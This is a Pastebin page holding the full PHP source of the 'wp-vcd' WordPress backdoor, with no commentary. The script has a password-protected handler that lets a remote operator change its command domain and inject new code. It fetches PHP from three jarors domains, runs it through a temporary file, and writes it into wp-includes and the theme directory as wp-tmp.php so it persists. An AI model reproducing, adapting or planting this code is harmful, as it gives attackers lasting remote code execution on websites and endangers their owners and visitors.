SHARE
TWEET

wp-vcd install code

a guest Mar 28th, 2019 239 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  <?php
  2. if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '{$PASSWORD}')) {
  3.     $div_code_name = "wp_vcd";
  4.     switch ($_REQUEST['action']) {
  5.         case 'change_domain';
  6.             if (isset($_REQUEST['newdomain'])) {
  7.                 if (!empty($_REQUEST['newdomain'])) {
  8.                     if ($file = @file_get_contents(__FILE__)) {
  9.                         if (preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i', $file, $matcholddomain)) {
  10.                             $file = preg_replace('/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file);
  11.                             @file_put_contents(__FILE__, $file);
  12.                             print "true";
  13.                         }
  14.                     }
  15.                 }
  16.             }
  17.             break;
  18.         case 'change_code';
  19.             if (isset($_REQUEST['newcode'])) {
  20.                 if (!empty($_REQUEST['newcode'])) {
  21.                     if ($file = @file_get_contents(__FILE__)) {
  22.                         if (preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i', $file, $matcholdcode)) {
  23.                             $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
  24.                             @file_put_contents(__FILE__, $file);
  25.                             print "true";
  26.                         }
  27.                     }
  28.                 }
  29.             }
  30.             break;
  31.         default:
  32.             print "ERROR_WP_ACTION WP_V_CD WP_CD";
  33.     }
  34.     die("");
  35. }
  36. $div_code_name = "wp_vcd";
  37. $funcfile      = __FILE__;
  38. if (!function_exists('theme_temp_setup')) {
  39.     $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
  40.     if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
  41.         function file_get_contents_tcurl($url)
  42.         {
  43.             $ch = curl_init();
  44.             curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
  45.             curl_setopt($ch, CURLOPT_HEADER, 0);
  46.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  47.             curl_setopt($ch, CURLOPT_URL, $url);
  48.             curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
  49.             $data = curl_exec($ch);
  50.             curl_close($ch);
  51.             return $data;
  52.         }
  53.         function theme_temp_setup($phpCode)
  54.         {
  55.             $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
  56.             $handle   = fopen($tmpfname, "w+");
  57.             if (fwrite($handle, "<?php\n" . $phpCode)) {
  58.             } else {
  59.                 $tmpfname = tempnam('./', "theme_temp_setup");
  60.                 $handle   = fopen($tmpfname, "w+");
  61.                 fwrite($handle, "<?php\n" . $phpCode);
  62.             }
  63.             fclose($handle);
  64.             include $tmpfname;
  65.             unlink($tmpfname);
  66.             return get_defined_vars();
  67.         }
  68.         $wp_auth_key = '71e0917771bea14558257cae1b85eb0f';
  69.         if (($tmpcontent = @file_get_contents("http://www.jarors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.jarors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
  70.             if (stripos($tmpcontent, $wp_auth_key) !== false) {
  71.                 extract(theme_temp_setup($tmpcontent));
  72.                 @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
  73.                 if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
  74.                     @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
  75.                     if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
  76.                         @file_put_contents('wp-tmp.php', $tmpcontent);
  77.                     }
  78.                 }
  79.             }
  80.         } elseif ($tmpcontent = @file_get_contents("http://www.jarors.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false) {
  81.             if (stripos($tmpcontent, $wp_auth_key) !== false) {
  82.                 extract(theme_temp_setup($tmpcontent));
  83.                 @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
  84.                 if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
  85.                     @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
  86.                     if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
  87.                         @file_put_contents('wp-tmp.php', $tmpcontent);
  88.                     }
  89.                 }
  90.             }
  91.         } elseif ($tmpcontent = @file_get_contents("http://www.jarors.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false) {
  92.             if (stripos($tmpcontent, $wp_auth_key) !== false) {
  93.                 extract(theme_temp_setup($tmpcontent));
  94.                 @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
  95.                 if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
  96.                     @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
  97.                     if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
  98.                         @file_put_contents('wp-tmp.php', $tmpcontent);
  99.                     }
  100.                 }
  101.             }
  102.         } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
  103.             extract(theme_temp_setup($tmpcontent));
  104.         } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
  105.             extract(theme_temp_setup($tmpcontent));
  106.         } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
  107.             extract(theme_temp_setup($tmpcontent));
  108.         }
  109.     }
  110. }
  111. //$start_wp_theme_tmp
  112. //wp_tmp
  113. //$end_wp_theme_tmp
  114. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top